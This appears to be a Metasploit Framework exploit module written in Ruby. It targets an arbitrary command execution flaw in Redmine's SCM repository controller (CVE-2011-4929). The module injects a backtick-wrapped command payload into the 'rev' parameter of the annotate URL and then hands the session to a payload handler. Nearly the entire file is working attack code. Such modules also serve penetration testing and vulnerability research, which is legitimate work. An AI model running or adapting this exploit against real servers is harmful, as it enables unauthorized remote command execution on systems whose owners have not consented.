84 lines
2.1 KiB
Ruby
84 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Redmine SCM Repository Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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Redmine repository controller. The flaw is triggered when a rev parameter
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is passed to the command line of the SCM tool without adequate filtering.
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},
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'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2011-4929'],
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['OSVDB', '70090'],
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['URL', 'http://www.redmine.org/news/49' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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#'RequiredCmd' => 'generic telnet',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Dec 19 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
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], self.class)
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end
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def exploit
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command = Rex::Text.uri_encode(payload.encoded)
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urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"
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res = send_request_raw({
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'uri' => urlconfigdir,
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'method' => 'GET',
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'headers' =>
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{
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'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
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'Connection' => 'Close',
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}
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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else
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print_status("No response from the server")
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end
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handler
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end
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end
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